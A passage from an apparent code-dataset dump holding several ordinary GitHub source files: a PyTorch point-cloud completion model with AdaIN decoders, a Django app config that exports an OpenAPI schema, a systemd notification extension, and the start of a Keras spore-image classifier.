self.unet_gan_encoder(partial_img)\n # x每个元素的取值由于输出时使用sigmoid进行激活,变为[0,1]之间,所以这里要将[0,1]变为[-1,1]\n x_temp = ((x - 0.5) * 2).contiguous()\n\n temp_pc = self.decoder[i](x_temp.permute(0,2,1), adain_params)\n # 在这里进行每个点云的可视化\n if VISUALIZER == True:\n img_te = get_ptcloud_img(temp_pc.cpu())\n img_te = Image.fromarray(img_te)\n img_te.save('./output/cartest/pc/{}_{}.jpg'.format(str(code[0]), str(i)))\n vutils.save_image(partial_img[0, :, :, :], './output/cartest/gt/{}_{}.jpg'.format(str(code[0]), str(i)), normalize=True)\n outs.append(temp_pc) # 将整个decoder的输入torch.Size([2, 2, 512])输入到第i个decoder中。主要在self.decoder中进行处理\n x_res.append(x.unsqueeze(dim=1))\n\n return torch.cat(outs, 2).contiguous(), torch.cat(x_res, 1).contiguous()\n\nclass StyleBasedMViewNet(nn.Module):\n \"\"\"\n inputs:\n - content: b x (x,y) x (num_points / nb_primitives)\n - style(feature): b x feature_size\n - adain_params: b x parameter_size\n\n outputs:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n input_dim: int = 1026,\n style_dim: int = 1024,\n bottleneck_size: int = 1026,\n use_SElayer: bool = False,\n ):\n super(StyleBasedMViewNet, self).__init__()\n self.bottleneck_size = bottleneck_size\n self.input_dim = input_dim\n self.style_dim = style_dim\n self.dec = MViewDecoder(\n self.input_dim, self.bottleneck_size, use_SElayer=use_SElayer\n )\n\n def forward(self, content, adain_params):\n assign_adain_params(adain_params, self.dec)\n return self.dec(content)\n\nclass StyleBasedAdaIn(nn.Module):\n \"\"\"\n inputs:\n - content: b x (x,y) x (num_points / nb_primitives)\n - style(feature): b x feature_size\n - adain_params: b x parameter_size\n\n outputs:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n input_dim: int = 1026,\n style_dim: int = 1024,\n bottleneck_size: int = 1026,\n use_SElayer: bool = False,\n ):\n super(StyleBasedAdaIn, self).__init__()\n self.bottleneck_size = bottleneck_size\n self.input_dim = input_dim\n self.style_dim = style_dim\n self.dec = GridDecoder(\n self.input_dim, self.bottleneck_size, use_SElayer=use_SElayer\n )\n\n def forward(self, content, adain_params):\n assign_adain_params(adain_params, self.dec)\n return self.dec(content)\n\n\nclass AdaInPointGenCon(nn.Module):\n \"\"\"\n inputs:\n - content: b x (x,y) x (num_points / nb_primitives)\n - style(feature): b x feature_size\n\n outputs:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n input_dim: int = 1026,\n style_dim: int = 1024,\n bottleneck_size: int = 1026,\n use_SElayer: bool = False,\n ):\n super(AdaInPointGenCon, self).__init__()\n self.bottleneck_size = bottleneck_size\n self.input_dim = input_dim\n self.style_dim = style_dim\n self.dec = GridDecoder(\n self.input_dim, self.bottleneck_size, use_SElayer=use_SElayer\n )\n\n # MLP to generate AdaIN parameters\n self.mlp = nn.Sequential(\n nn.Linear(self.style_dim, self.style_dim),\n nn.ReLU(),\n nn.Linear(self.style_dim, get_num_adain_params(self.dec)),\n )\n\n def forward(self, content, style):\n adain_params = self.mlp(style)\n assign_adain_params(adain_params, self.dec)\n return self.dec(content)\n\n\nclass PointGenCon(nn.Module):\n \"\"\"\n inputs:\n - content: b x (x,y) x (num_points / nb_primitives)\n\n outputs:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n input_dim: int = 4098,\n bottleneck_size: int = 1026,\n use_SElayer: bool = False,\n dropout: bool = False,\n ):\n self.input_dim = input_dim\n self.bottleneck_size = bottleneck_size\n super(PointGenCon, self).__init__()\n self.conv1 = torch.nn.Conv1d(self.input_dim, self.bottleneck_size, 1)\n self.conv2 = torch.nn.Conv1d(self.bottleneck_size, self.bottleneck_size // 2, 1)\n self.conv3 = torch.nn.Conv1d(\n self.bottleneck_size // 2, self.bottleneck_size // 4, 1\n )\n self.conv4 = torch.nn.Conv1d(self.bottleneck_size // 4, 3, 1)\n\n self.use_SElayer = use_SElayer\n if self.use_SElayer:\n self.se1 = SELayer1D(channel=self.bottleneck_size)\n self.se2 = SELayer1D(channel=self.bottleneck_size // 2)\n self.se3 = SELayer1D(channel=self.bottleneck_size // 4)\n\n self.th = nn.Tanh()\n self.bn1 = torch.nn.BatchNorm1d(self.bottleneck_size)\n self.bn2 = torch.nn.BatchNorm1d(self.bottleneck_size // 2)\n self.bn3 = torch.nn.BatchNorm1d(self.bottleneck_size // 4)\n self.dropout = dropout\n if self.dropout:\n self.drop1 = nn.Dropout(0.4)\n self.drop2 = nn.Dropout(0.4)\n self.drop3 = nn.Dropout(0.4)\n\n def forward(self, x):\n if self.use_SElayer:\n x = F.relu(self.se1(self.bn1(self.conv1(x))))\n else:\n x = F.relu(self.bn1(self.conv1(x)))\n if self.dropout:\n x = self.drop1(x)\n\n if self.use_SElayer:\n x = F.relu(self.se2(self.bn2(self.conv2(x))))\n else:\n x = F.relu(self.bn2(self.conv2(x)))\n if self.dropout:\n x = self.drop2(x)\n\n if self.use_SElayer:\n x = F.relu(self.se3(self.bn3(self.conv3(x))))\n else:\n x = F.relu(self.bn3(self.conv3(x)))\n if self.dropout:\n x = self.drop3(x)\n x = self.conv4(x) # [batch_size, 3, 512] 3 features(position) for 512 points\n return x\n\n\nclass SpareNetRefine(nn.Module):\n \"\"\"\n inputs:\n - inps: b x npoints2 x num_dims\n - partial: b x npoints1 x num_dims\n - coarse: b x num_dims x npoints2\n\n outputs:\n - refine_result: b x num_dims x npoints2\n - loss_mst: float32\n \"\"\"\n\n def __init__(\n self,\n n_primitives: int = 32,\n num_points: int = 16382,\n use_SElayer: bool = False,\n ):\n super(SpareNetRefine, self).__init__()\n self.num_points = num_points\n self.n_primitives = n_primitives\n self.expansion = expansion.expansionPenaltyModule()\n self.edgeres = False # 不用边缘卷积\n if self.edgeres:\n self.residual = EdgeRes(use_SElayer=use_SElayer)\n else:\n self.residual = PointNetRes(use_SElayer=use_SElayer)\n\n def forward(self, inps, partial, coarse):\n dist, _, mean_mst_dis = self.expansion( # 先算一次在cuda的expansion损失\n coarse, 512, 1.5\n )\n loss_mst = torch.mean(dist)\n id0 = torch.zeros(inps.shape[0], 1, inps.shape[2]).cuda().contiguous()\n\n inps = torch.cat((inps, id0), 1) # [batch_size, 4, out_points]\n id1 = torch.ones(partial.shape[0], 1, partial.shape[2]).cuda().contiguous()\n partial = torch.cat((partial, id1), 1) # [batch_size, 4, in_points]\n base = torch.cat((inps, partial), 2) # [batch_size, 4, out_points+ in_points]\n\n resampled_idx = MDS_module.minimum_density_sample( # 最小密度采样\n base[:, 0:3, :].transpose(1, 2).contiguous(), coarse.shape[1], mean_mst_dis\n )\n base = MDS_module.gather_operation(base, resampled_idx)\n\n delta = self.residual(base) # [batch_size, 3, out_points]\n base = base[:, 0:3, :] # [batch_size, 3, out_points]\n outs = base + delta\n refine_result = outs.transpose(2, 1).contiguous() # [batch_size, out_points, 3]\n return refine_result, loss_mst\n\n\nclass PointNetRes(nn.Module):\n \"\"\"\n input:\n - inp: b x (num_dims+id) x num_points\n\n outputs:\n - out: b x num_dims x num_points\n \"\"\"\n\n def __init__(self, use_SElayer: bool = False):\n super(PointNetRes, self).__init__()\n self.conv1 = torch.nn.Conv1d(4, 64, 1)\n self.conv2 = torch.nn.Conv1d(64, 128, 1)\n self.conv3 = torch.nn.Conv1d(128, 1024, 1)\n self.conv4 = torch.nn.Conv1d(1088, 512, 1)\n self.conv5 = torch.nn.Conv1d(512, 256, 1)\n self.conv6 = torch.nn.Conv1d(256, 128, 1)\n self.conv7 = torch.nn.Conv1d(128, 3, 1)\n\n self.use_SElayer = use_SElayer\n if use_SElayer:\n self.se1 = SELayer1D(channel=64)\n self.se2 = SELayer1D(channel=128)\n self.se4 = SELayer1D(channel=512)\n self.se5 = SELayer1D(channel=256)\n self.se6 = SELayer1D(channel=128)\n\n self.bn1 = torch.nn.BatchNorm1d(64)\n self.bn2 = torch.nn.BatchNorm1d(128)\n self.bn3 = torch.nn.BatchNorm1d(1024)\n self.bn4 = torch.nn.BatchNorm1d(512)\n self.bn5 = torch.nn.BatchNorm1d(256)\n self.bn6 = torch.nn.BatchNorm1d(128)\n self.bn7 = torch.nn.BatchNorm1d(3)\n self.th = nn.Tanh()\n\n def forward(self, x):\n npoints = x.size()[2]\n # x: [batch_size, 4, num_points]\n if self.use_SElayer:\n x = F.relu(self.se1(self.bn1(self.conv1(x))))\n else:\n x = F.relu(self.bn1(self.conv1(x)))\n pointfeat = x # [batch_size, 64, num_points]\n\n if self.use_SElayer:\n x = F.relu(self.se2(self.bn2(self.conv2(x))))\n else:\n x = F.relu(self.bn2(self.conv2(x)))\n\n x = self.bn3(self.conv3(x)) # [batch_size, 1024, num_points]\n x, _ = torch.max(x, 2) # [batch_size, 1024]\n x = x.view(-1, 1024) # [batch_size, 1024]\n x = x.view(-1, 1024, 1).repeat(1, 1, npoints) # [batch_size, 1024, num_points]\n x = torch.cat([x, pointfeat], 1) # [batch_size, 1088, num_points]\n if self.use_SElayer:\n x = F.relu(self.se4(self.bn4(self.conv4(x))))\n x = F.relu(self.se5(self.bn5(self.conv5(x))))\n x = F.relu(self.se6(self.bn6(self.conv6(x))))\n else:\n x = F.relu(self.bn4(self.conv4(x)))\n x = F.relu(self.bn5(self.conv5(x)))\n x = F.relu(self.bn6(self.conv6(x)))\n x = self.th(self.conv7(x)) # [batch_size, 3, num_points]\n return x\n\n\nclass EdgeRes(nn.Module):\n \"\"\"\n input:\n - inp: b x (num_dims+id) x num_points\n\n outputs:\n - out: b x num_dims x num_points\n \"\"\"\n\n def __init__(self, use_SElayer: bool = False):\n super(EdgeRes, self).__init__()\n self.k = 8\n self.conv1 = torch.nn.Conv2d(8, 64, kernel_size=1, bias=False)\n self.conv2 = torch.nn.Conv2d(128, 128, kernel_size=1, bias=False)\n self.conv3 = torch.nn.Conv2d(256, 1024, kernel_size=1, bias=False)\n self.conv4 = torch.nn.Conv2d(2176, 512, kernel_size=1, bias=False)\n self.conv5 = torch.nn.Conv2d(1024, 256, kernel_size=1, bias=False)\n self.conv6 = torch.nn.Conv2d(512, 128, kernel_size=1, bias=False)\n self.conv7 = torch.nn.Conv2d(256, 3, kernel_size=1, bias=False)\n\n self.use_SElayer = use_SElayer\n if use_SElayer:\n self.se1 = SELayer(channel=64)\n self.se2 = SELayer(channel=128)\n self.se4 = SELayer(channel=512)\n self.se5 = SELayer(channel=256)\n self.se6 = SELayer(channel=128)\n\n self.bn1 = torch.nn.BatchNorm2d(64)\n self.bn2 = torch.nn.BatchNorm2d(128)\n self.bn3 = torch.nn.BatchNorm2d(1024)\n self.bn4 = torch.nn.BatchNorm2d(512)\n self.bn5 = torch.nn.BatchNorm2d(256)\n self.bn6 = torch.nn.BatchNorm2d(128)\n self.bn7 = torch.nn.BatchNorm2d(3)\n self.th = nn.Tanh()\n\n def forward(self, x):\n npoints = x.size()[2]\n # x: [batch_size, 4, num_points]\n if self.use_SElayer:\n x = get_graph_feature(x, k=self.k) # [bs, 8, num_points, k]\n x = F.relu(self.se1(self.bn1(self.conv1(x)))) # [bs, 64, num_points, k]\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 64, num_points]\n pointfeat = x # [batch_size, 64, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 128, num_points, k]\n x = F.relu(self.se2(self.bn2(self.conv2(x))))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 128, num_points]\n else:\n x = get_graph_feature(x, k=self.k) # [bs, 8, num_points, k]\n x = F.relu(self.bn1(self.conv1(x))) # [bs, 64, num_points, k]\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 64, num_points]\n pointfeat = x # [batch_size, 64, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 128, num_points, k]\n x = F.relu(self.bn2(self.conv2(x)))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 128, num_points]\n\n x = get_graph_feature(x, k=self.k) # [bs, 256, num_points, k]\n x = self.bn3(self.conv3(x)) # [batch_size, 1024, num_points, k]\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 1024, num_points]\n\n x, _ = torch.max(x, 2) # [batch_size, 1024]\n x = x.view(-1, 1024) # [batch_size, 1024]\n x = x.view(-1, 1024, 1).repeat(1, 1, npoints) # [batch_size, 1024, num_points]\n x = torch.cat([x, pointfeat], 1) # [batch_size, 1088, num_points]\n\n if self.use_SElayer:\n x = get_graph_feature(x, k=self.k) # [bs, 2176, num_points, k]\n x = F.relu(self.se4(self.bn4(self.conv4(x))))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 512, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 1024, num_points, k]\n x = F.relu(self.se5(self.bn5(self.conv5(x))))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 256, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 512, num_points, k]\n x = F.relu(self.se6(self.bn6(self.conv6(x))))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 128, num_points]\n else:\n x = get_graph_feature(x, k=self.k) # [bs, 2176, num_points, k]\n x = F.relu(self.bn4(self.conv4(x)))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 512, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 1024, num_points, k]\n x = F.relu(self.bn5(self.conv5(x)))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 256, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 512, num_points, k]\n x = F.relu(self.bn6(self.conv6(x)))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 128, num_points]\n x = get_graph_feature(x, k=self.k) # [bs, 256, num_points, k]\n x = self.th(self.conv7(x))\n x = x.max(dim=-1, keepdim=False)[0] # [bs, 3, num_points]\n return x\n\n# 自注意力层\nclass SELayer(nn.Module):\n \"\"\"\n input:\n x:(b, c, m, n)\n\n output:\n out:(b, c, m', n')\n \"\"\"\n\n def __init__(self, channel, reduction=16):\n super(SELayer, self).__init__()\n self.avg_pool = nn.AdaptiveAvgPool2d(1)\n self.fc = nn.Sequential(\n nn.Linear(channel, channel // reduction, bias=False),\n nn.ReLU(inplace=True),\n nn.Linear(channel // reduction, channel, bias=False),\n nn.Sigmoid(),\n )\n\n def forward(self, x):\n b, c, _, _ = x.size()\n y = self.avg_pool(x).view(b, c) # F1之后的一个avg_pool\n y = self.fc(y).view(b, c, 1, 1) # F2的MLP\n return x * y.expand_as(x) # 最后全局乘以边特征\n\n\nclass SELayer1D(nn.Module):\n \"\"\"\n input:\n x:(b, c, m)\n\n output:\n out:(b, c, m')\n \"\"\"\n\n def __init__(self, channel, reduction=16):\n super(SELayer1D, self).__init__()\n self.avg_pool = nn.AdaptiveAvgPool1d(1)\n self.fc = nn.Sequential(\n nn.Linear(channel, channel // reduction, bias=False),\n nn.ReLU(inplace=True),\n nn.Linear(channel // reduction, channel, bias=False),\n nn.Sigmoid(),\n )\n\n def forward(self, x):\n (b, c, _) = x.size()\n y = self.avg_pool(x).view(b, c)\n y = self.fc(y).view(b, c, 1)\n return x * y.expand_as(x)\n\n\ndef grid3d_generation(batch_size):\n \"\"\"\n inputs:\n - num_points: int\n - nb_primitives: int\n\n outputs:\n - 2D grid: nb_primitives * (num_points / nb_primitives) * 2\n \"\"\"\n grain_x = 32\n grain_y = 32\n grain_z = 16\n\n vertices = [] # 生成的是等分的网格,2048是x等分32份,y等分64份\n for i in range(grain_x):\n for j in range(grain_y):\n for k in range(grain_z):\n vertices.append([i / grain_x, j / grain_y, k / grain_z])\n\n print(\"generating 3D grid\")\n\n return vertices\n\n\ndef get_num_adain_params(model):\n \"\"\"\n input:\n - model: nn.module\n\n output:\n - num_adain_params: int\n \"\"\"\n # return the number of AdaIN parameters needed by the model\n num_adain_params = 0\n for m in model.modules():\n if m.__class__.__name__ == \"AdaptiveInstanceNorm1d\":\n num_adain_params += 2 * m.num_features\n return num_adain_params\n\n\ndef assign_adain_params(adain_params, model):\n\n \"\"\"\n inputs:\n - adain_params: b x parameter_size\n - model: nn.module\n\n function:\n assign_adain_params\n \"\"\"\n # assign the adain_params to the AdaIN layers in model\n for m in model.modules():\n if m.__class__.__name__ == \"AdaptiveInstanceNorm1d\":\n mean = adain_params[:, : m.num_features]\n std = adain_params[:, m.num_features : 2 * m.num_features]\n m.bias = mean.contiguous().view(-1)\n m.weight = std.contiguous().view(-1)\n if adain_params.size(1) > 2 * m.num_features:\n adain_params = adain_params[:, 2 * m.num_features :]\n\n\ndef knn(x, k: int):\n \"\"\"\n inputs:\n - x: b x npoints1 x num_dims (partical_cloud)\n - k: int (the number of neighbor)\n\n outputs:\n - idx: int (neighbor_idx)\n \"\"\"\n # x : (batch_size, feature_dim, num_points)\n # Retrieve nearest neighbor indices\n\n if torch.cuda.is_available():\n from knn_cuda import KNN\n\n ref = x.transpose(2, 1).contiguous() # (batch_size, num_points, feature_dim)\n query = ref\n _, idx = KNN(k=k, transpose_mode=True)(ref, query)\n\n else:\n inner = -2 * torch.matmul(x.transpose(2, 1), x)\n xx = torch.sum(x ** 2, dim=1, keepdim=True)\n pairwise_distance = -xx - inner - xx.transpose(2, 1)\n idx = pairwise_distance.topk(k=k, dim=-1)[1] # (batch_size, num_points, k)\n\n return idx\n\n\ndef get_graph_feature(x, k: int = 20, idx=None):\n \"\"\"\n inputs:\n - x: b x npoints1 x num_dims (partical_cloud)\n - k: int (the number of neighbor)\n - idx: neighbor_idx\n\n outputs:\n - feature: b x npoints1 x (num_dims*2)\n \"\"\"\n\n batch_size = x.size(0)\n num_points = x.size(2) # 3000个点\n x = x.view(batch_size, -1, num_points) # 将torch.Size([2, 3, 3000])转成torch.Size([2, 3, 3000]),没转\n if idx is None:\n idx = knn(x, k=k) # (batch_size, num_points, k) # torch.Size([2, 3000, 8]) batch是2,3000个点,每个点8个近邻\n device = idx.device\n idx_base = torch.arange(0, batch_size, device=device).view(-1, 1, 1) * num_points\n idx = idx + idx_base\n idx = idx.view(-1) # 全部转成1维\n _, num_dims, _ = x.size()\n x = x.transpose(2, 1).contiguous() # torch.Size([2, 3, 3000])转置成为torch.Size([2, 3000, 3])\n feature = x.view(batch_size * num_points, -1)[idx, :] # torch.Size([2, 3000, 3])转成torch.Size([48000, 3])\n feature = feature.view(batch_size, num_points, k, num_dims) # 转成torch.Size([2, 3000, 8, 3]) 2个batch,每个有3000个点,每个点8个近邻,每个近邻有x,y,z这3个特征\n x = x.view(batch_size, num_points, 1, num_dims).repeat(1, 1, k, 1)\n feature = torch.cat((feature - x, x), dim=3).permute(0, 3, 1, 2).contiguous() # cat的是近邻点和每个点与base点的差以及base点\n return feature\n\n\nclass AdaptiveInstanceNorm1d(nn.Module):\n \"\"\"\n input:\n - inp: (b, c, m)\n\n output:\n - out: (b, c, m')\n \"\"\"\n\n def __init__(\n self,\n num_features: int,\n eps: float = 1e-5,\n momentum: float = 0.1,\n ):\n super(AdaptiveInstanceNorm1d, self).__init__()\n self.num_features = num_features\n self.eps = eps\n self.momentum = momentum\n # weight and bias are dynamically assigned\n self.weight = None\n self.bias = None\n # just dummy buffers, not used\n self.register_buffer(\"running_mean\", torch.zeros(num_features))\n self.register_buffer(\"running_var\", torch.ones(num_features))\n\n def forward(self, x):\n assert (\n self.weight is not None and self.bias is not None\n ), \"Please assign weight and bias before calling AdaIN!\"\n b, c = x.size(0), x.size(1)\n running_mean = self.running_mean.repeat(b)\n running_var = self.running_var.repeat(b)\n\n x_reshaped = x.contiguous().view(1, b * c, *x.size()[2:])\n\n out = F.batch_norm(\n x_reshaped,\n running_mean,\n running_var,\n self.weight,\n self.bias,\n True,\n self.momentum,\n self.eps,\n )\n\n return out.view(b, c, *x.size()[2:])\n\n def __repr__(self):\n return self.__class__.__name__ + \"(\" + str(self.num_features) + \")\"\n\nclass MViewDecoder(nn.Module):\n \"\"\"\n input:\n - x: b x (x,y) x (num_points / nb_primitives)\n\n output:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n input_dim: int = 2,\n bottleneck_size: int = 1026,\n use_SElayer: bool = False,\n use_sine: bool = False, # 外面没有传这个参数,所以这里一定是默认值False\n ):\n super(MViewDecoder, self).__init__()\n self.bottleneck_size = bottleneck_size\n self.input_dim = input_dim\n\n self.use_sine = use_sine\n\n self.conv1 = torch.nn.Conv1d(self.input_dim, self.bottleneck_size // 4, 1)\n self.conv4 = torch.nn.Conv1d(self.bottleneck_size // 4, 3, 1)\n self.th = nn.Tanh()\n\n\n self.adain1 = AdaptiveInstanceNorm1d(self.bottleneck_size // 4)\n\n self.bn1 = torch.nn.BatchNorm1d(\n self.bottleneck_size // 4\n )\n\n self.use_SElayer = use_SElayer\n if self.use_SElayer:\n self.se1 = SELayer1D(channel=self.bottleneck_size // 4)\n\n def forward(self, x):\n if self.use_SElayer:\n x = F.relu(self.se1(self.bn1(self.adain1(self.conv1(x)))))\n else:\n x = F.relu(self.bn1(self.adain1(self.conv1(x))))\n x = self.th(self.conv4(x))\n return x\n\nclass GridDecoder(nn.Module):\n \"\"\"\n input:\n - x: b x (x,y) x (num_points / nb_primitives)\n\n output:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n input_dim: int = 2,\n bottleneck_size: int = 1026,\n use_SElayer: bool = False,\n use_sine: bool = False, # 外面没有传这个参数,所以这里一定是默认值False\n ):\n super(GridDecoder, self).__init__()\n self.bottleneck_size = bottleneck_size\n self.input_dim = input_dim\n\n self.use_sine = use_sine\n if not self.use_sine:\n self.conv1 = torch.nn.Conv1d(self.input_dim, self.bottleneck_size, 1)\n self.conv2 = torch.nn.Conv1d(\n self.bottleneck_size, self.bottleneck_size // 2, 1\n )\n self.conv3 = torch.nn.Conv1d(\n self.bottleneck_size // 2, self.bottleneck_size // 4, 1\n )\n self.conv4 = torch.nn.Conv1d(self.bottleneck_size // 4, 3, 1)\n self.th = nn.Tanh()\n else:\n first_omega_0 = 30.0\n hidden_omega_0 = 30.0\n self.linear1 = SineLayer(\n self.input_dim,\n self.bottleneck_size,\n is_first=True,\n omega_0=first_omega_0,\n )\n self.linear2 = SineLayer(\n self.bottleneck_size,\n self.bottleneck_size // 2,\n is_first=False,\n omega_0=hidden_omega_0,\n )\n self.linear3 = SineLayer(\n self.bottleneck_size // 2,\n self.bottleneck_size // 4,\n is_first=False,\n omega_0=hidden_omega_0,\n )\n self.linear4 = SineLayer(\n self.bottleneck_size // 4,\n self.bottleneck_size // 4,\n is_first=False,\n omega_0=hidden_omega_0,\n )\n self.linear5 = nn.Conv1d(self.bottleneck_size // 4, 3, 1)\n\n with torch.no_grad():\n self.linear5.weight.uniform_(\n -np.sqrt(6 / self.bottleneck_size) / hidden_omega_0,\n np.sqrt(6 / self.bottleneck_size) / hidden_omega_0,\n )\n\n self.adain1 = AdaptiveInstanceNorm1d(self.bottleneck_size)\n self.adain2 = AdaptiveInstanceNorm1d(self.bottleneck_size // 2)\n self.adain3 = AdaptiveInstanceNorm1d(self.bottleneck_size // 4)\n\n self.bn1 = torch.nn.BatchNorm1d(\n self.bottleneck_size\n ) # default with Learnable Parameters\n self.bn2 = torch.nn.BatchNorm1d(self.bottleneck_size // 2)\n self.bn3 = torch.nn.BatchNorm1d(self.bottleneck_size // 4)\n\n self.use_SElayer = use_SElayer\n if self.use_SElayer:\n self.se1 = SELayer1D(channel=self.bottleneck_size)\n self.se2 = SELayer1D(channel=self.bottleneck_size // 2)\n self.se3 = SELayer1D(channel=self.bottleneck_size // 4)\n\n def forward(self, x):\n if self.use_sine:\n x = x.clone().detach().requires_grad_(True)\n x = self.linear1(x)\n x = self.linear2(x)\n x = self.linear3(x)\n x = self.linear4(x)\n x = self.linear5(x)\n else:\n if self.use_SElayer:\n x = F.relu(self.se1(self.bn1(self.adain1(self.conv1(x))))) # torch.Size([2, 2, 512]) --> torch.Size([2, 1026, 512])\n x = F.relu(self.se2(self.bn2(self.adain2(self.conv2(x))))) # torch.Size([2, 1026, 512]) --> torch.Size([2, 513, 512])\n x = F.relu(self.se3(self.bn3(self.adain3(self.conv3(x))))) # torch.Size([2, 513, 512]) --> torch.Size([2, 256, 512])\n else:\n x = F.relu(self.bn1(self.adain1(self.conv1(x))))\n x = F.relu(self.bn2(self.adain2(self.conv2(x))))\n x = F.relu(self.bn3(self.adain3(self.conv3(x))))\n x = self.th(self.conv4(x))\n return x\n\n\nclass SineLayer(nn.Module):\n \"\"\"\n input:\n - x: b x (x,y) x (num_points / nb_primitives)\n\n output:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n\n def __init__(\n self,\n in_features: int,\n out_features: int,\n bias: bool = True,\n is_first: bool = False,\n omega_0: int = 30,\n ):\n super().__init__()\n self.omega_0 = omega_0\n self.is_first = is_first\n self.in_features = in_features\n self.linear = nn.Conv1d(in_features, out_features, 1, bias=bias)\n self.adain = AdaptiveInstanceNorm1d(out_features)\n self.bn = torch.nn.BatchNorm1d(out_features)\n self.init_weights()\n\n def init_weights(self):\n \"\"\"\n input:\n - x: b x (x,y) x (num_points / nb_primitives)\n\n output:\n - out: b x num_dims x (num_points / nb_primitives)\n \"\"\"\n with torch.no_grad():\n if self.is_first:\n self.linear.weight.uniform_(-1 / self.in_features, 1 / self.in_features)\n else:\n self.linear.weight.uniform_(\n -np.sqrt(6 / self.in_features) / self.omega_0,\n np.sqrt(6 / self.in_features) / self.omega_0,\n )\n\n def forward(self, input):\n return torch.sin(self.adain(self.omega_0 * self.linear(input)))\n\n\n","repo_name":"zyh16143998882/MViewNet","sub_path":"models/inpaintingnet_generator.py","file_name":"inpaintingnet_generator.py","file_ext":"py","file_size_in_byte":53149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14133861961","text":"from pathlib import Path\n\nimport structlog\nfrom django.apps import AppConfig\nfrom django.conf import settings\nfrom django.core.management import call_command\n\nlogger = structlog.getLogger()\n\n\nclass ApisConfig(AppConfig):\n default_auto_field = \"django.db.models.BigAutoField\"\n name = \"nest.api\"\n\n def ready(self) -> None:\n if not getattr(settings, \"OPENAPI_AUTO_GENERATE\", False):\n return\n\n openapi_schema_path_setting = getattr(settings, \"OPENAPI_SCHEMA_PATH\", None)\n base_path = settings.BASE_DIR\n\n if not openapi_schema_path_setting:\n folder_path = base_path.resolve()\n else:\n folder_path = base_path / Path(openapi_schema_path_setting).resolve()\n\n # Make sure folder exist.\n folder_path.mkdir(parents=True, exist_ok=True)\n path = folder_path / \"schema.json\"\n\n with open(path, \"w\", encoding=\"utf-8\"):\n call_command(\"export_schema\", output=path)\n logger.info(\"Wrote API OpenAPI schema to %s\", path)\n","repo_name":"danielkjellid/nest","sub_path":"nest/api/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16367896285","text":"from shimpy.core import Extension\nfrom shimpy.core.context import context\n\nimport structlog\nimport ctypes\nimport os\n\nlog = structlog.get_logger()\n\n\nclass Systemd(Extension):\n \"\"\"\n Name: Systemd Integration\n Author: Shish \n License: GPLv2\n Visibility: admin\n Description: Lets systemd know that the service is alive each time a page is requested\n \"\"\"\n priority = 99\n\n def onInitExt(self, event):\n self.__sd = None\n try:\n self.__sd = ctypes.CDLL(ctypes.util.find_library(\"systemd-daemon\"))\n self.__sd.sd_notify(0, \"READY=1\")\n self.__sd.sd_notify(0, \"MAINPID=%d\" % os.getpid()) # we aren't the main pid if we're in debug-reloader mode\n self.__sd.sd_notify(0, \"STATUS=Waiting for requests\")\n log.info(\"Let systemd know that we're ready\")\n except Exception as e:\n log.error(\"Error loading systemd library\", exception=e)\n\n def onPageRequest(self, event, request):\n if self.__sd:\n self.__sd.sd_notify(0, \"WATCHDOG=1\")\n self.__sd.sd_notify(0, \"STATUS=Got a request for %s\" % request.path.encode(\"ascii\", \"ignore\"))\n","repo_name":"shish/shimpy","sub_path":"shimpy/ext/systemd/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"6525181000","text":"import numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\nimport cv2\r\nimport os\r\n\r\n# Directorio donde se encuentran las imágenes de entrenamiento\r\ntraining_dir = r\"C:\\Users\\Raderly\\Documents\\TrabajoTerminal\\Algoritmos\\training_images\"\r\n\r\n# Obtener la lista de nombres de archivos de imágenes\r\nimage_files = os.listdir(training_dir)\r\n\r\n# Listas para almacenar imágenes y etiquetas\r\nimages = []\r\nlabels = []\r\n\r\n# Cargar y preprocesar las imágenes de entrenamiento\r\nfor image_file in image_files:\r\n image_path = os.path.join(training_dir, image_file)\r\n image = cv2.imread(image_path)\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n image = cv2.resize(image, (128, 128))\r\n image = image / 255.0\r\n images.append(image)\r\n\r\n # La etiqueta dependerá de cómo estés organizando tus datos. Por ejemplo, puedes inferirlo del nombre del archivo.\r\n if \"BO-\" in image_file:\r\n label = 0 # Etiqueta 0 para \"espora\"\r\n else:\r\n label = 1 # Etiqueta 1 para \"no espora\"\r\n labels.append(label)\r\n\r\n# Convertir las listas en matrices o tensores\r\nX_train = np.array(images)\r\ny_train = np.array(labels)\r\n\r\n# Crear una versión simplificada de ResNet\r\ninput_layer = keras.Input(shape=(128, 128, 1))\r\nx = layers.Conv2D(64, (7, 7), activation='relu')(input_layer)\r\nx = layers.MaxPooling2D((3, 